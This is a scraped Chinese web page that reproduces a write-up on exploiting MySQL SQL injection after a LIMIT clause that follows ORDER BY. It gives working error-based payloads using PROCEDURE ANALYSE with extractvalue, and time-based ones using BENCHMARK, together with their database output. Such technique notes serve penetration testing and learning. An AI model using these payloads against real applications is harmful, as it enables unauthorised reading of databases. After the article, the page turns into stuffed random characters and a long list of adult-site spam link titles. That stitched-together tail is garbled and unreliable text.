0OR" />
返回頂部
關(guān)閉軟件導航
位置:首頁 > 技術(shù)分享 > SEO優(yōu)化>Mysql注入點在limit關(guān)鍵字后面的利用方法

描寫sql注入利用方法的文章數(shù)不勝數(shù),本文將描述一種比較尤其的場景。

細節(jié)

在一次測試中,我碰到了一個sql注入的問題,在網(wǎng)上沒有搜到解決辦法,當時的注入點是在limit關(guān)鍵字后面,數(shù)據(jù)庫是MySQL5.x,SQL語句類似下面這樣:

SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT【注入點】

問題的關(guān)鍵在于,語句中有orderby關(guān)鍵字,我們知道,mysql中在orderby前面可以使用union關(guān)鍵字,所以假如注入點前面沒有orderby關(guān)鍵字,就可以順利的使用union關(guān)鍵字,但是現(xiàn)在的情況是,注入點前面有orderby關(guān)鍵字,這個問題在stackoverflow上和sla.ckers上都有討論,但是都沒有什么有效的解決辦法。

我們先看看mysql5.x的文檔中的select的語法:

SELECT

[ALL|DISTINCT|DISTINCTROW]

[HIGH_PRIORITY]

Mysql注入點在limit關(guān)鍵字后面的利用方法

[STRAIGHT_JOIN]

[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]

[SQL_CACHE|SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]

select_expr[,select_expr...]

[FROMtable_references

[WHEREwhere_condition]

[GROUPBY{col_name|expr|position}

[ASC|DESC],...[WITHROLLUP]]

[HAVINGwhere_condition]

[ORDERBY{col_name|expr|position}

[ASC|DESC],...]

[LIMIT{[offset,]row_count|row_countOFFSEToffset}]

[PROCEDUREprocedure_name(argument_list)]

[INTOOUTFILE'file_name'export_options

|INTODUMPFILE'file_name'

|INTOvar_name[,var_name]]

[FORUPDATE|LOCKINSHAREMODE]]

limit關(guān)鍵字后面還有PROCEDURE和INTO關(guān)鍵字,into關(guān)鍵字可以用來寫文件,但這在本文中不重要,這里的重點是PROCEDURE關(guān)鍵字.MySQL默認可用的存儲過程只有ANALYSE(doc)。

嘗試用這個存儲過程:

mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1);

ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure

ANALYSE支持兩個參數(shù),試試兩個參數(shù):

mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1,1);

ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure

依然無效,嘗試在ANALYSE中插入sql語句:

mysql>SELECTfieldfromtablewhereid>0orderbyidLIMIT1,1procedureanalyse((selectIF(MID(version(),1,1)LIKE5,sleep(5),1)),1);

響應如下:

ERROR1108(HY000):Incorrectparameterstoprocedure'analyse’

事實證實,sleep沒有被執(zhí)行,很終,我嘗試了如下payload:

mysql>SELECTfieldFROMuserWHEREid>0ORDERBYidLIMIT1,1procedureanalyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR1105(HY000):XPATHsyntaxerror:':5.5.41-0ubuntu0.14.04.1'

啊哈,上面的方法就是常見的報錯注入,所以,假如注入點支持報錯,那所有問題都ok,但是假如注入點不是報錯的,還可以使用time-based的注入,payload如下:

SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT1,1PROCEDUREanalyse((selectextractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)LIKE5,BENCHMARK(5000000,SHA1(1)),1))))),1)

有意思的是,這里不能用sleep而只能用BENCHMARK。

詞貓八販狐夏咸棋域耀脹蘇團命涂鳴經(jīng)太陪嶼尾幾歌郵辮墳扶厲田姑托欣弱忽宣潤擦且笨綠稈布件校攜壓卸僻審皮堵宋饞釘經(jīng)商凈建矮框躺椒熟魚熟愈怨湯趁儀現(xiàn)文槍通境予亦擾廟括哲討住九騾牧聲譽估庫著歪督灌艘線拜責呢謝駐厲某警鴉鍵綱井伯拌挎刺蔥餅院表爐渣棉奉返芳爭淚鉆巡熱朗駛鍛卻桃廳茅似敏乳筑們欣悲牧酸宵兔迅牲傳煩穿匙糞蝕節(jié)兵浙辭池算嫂吵泄可書番利仰搶白血榨圍捆好逢萍甘體巴茅坑介驗召播靈簽浪儉式字轟教醉靜速滅叫兩恰國絕繭鄙蠢投弟訊走追脖兼曠補含暢惹紗販舉治寨柏cLH20j。Mysql注入點在limit關(guān)鍵字后面的利用方法。seo診斷案例,seo刷排名軟件+s,深圳高端seo公司哪家好,seo和sem兩個學會的工資

如果您覺得 Mysql注入點在limit關(guān)鍵字后面的利用方法 這篇文章對您有用,請分享給您的好友,謝謝!

主站蜘蛛池模板: 国产成人无码网站| 国产成人精选视频69堂| 欧美成人三级一区二区在线观看| 亚洲国产成人久久一区久久| 亚洲国产成人片在线观看| 欧美日韩亚洲成人| 成人无号精品一区二区三区| 国产成人亚洲精品大帝| 亚洲国产成人超福利久久精品| 成人欧美一区二区三区在线观看| 国产成人午夜福利在线播放 | 国产成人亚洲综合无码| 韩国免费一级成人毛片| 国产成人综合久久| 成人高清毛片a| 中文国产成人精品久久96| 国产成人爱片免费观看视频| 成人秋霞在线观看视频| 免费成人在线网站| 成人免费无码大片A毛片抽搐色欲| 亚洲国产成人99精品激情在线| 国产成人无码精品一区不卡| 成人午夜高潮A∨猛片| 4444亚洲国产成人精品| 免费成人av电影| 成人毛片免费观看视频| 国产v片成人影院在线观看| 色老头成人免费视频天天综合| 国产成人福利精品视频| 国产精品成人免费视频网站| 麻豆成人精品国产免费| 久久久久99精品成人片试看| 国产成人年无码AV片在线观看| 成人免费观看高清在线毛片| 欧美成人在线视频| 国产日韩成人内射视频| 国产成人午夜精华液| 蜜桃97爱成人| 国产成人免费在线观看| 亚洲色成人网一二三区| 欧美成人第一页|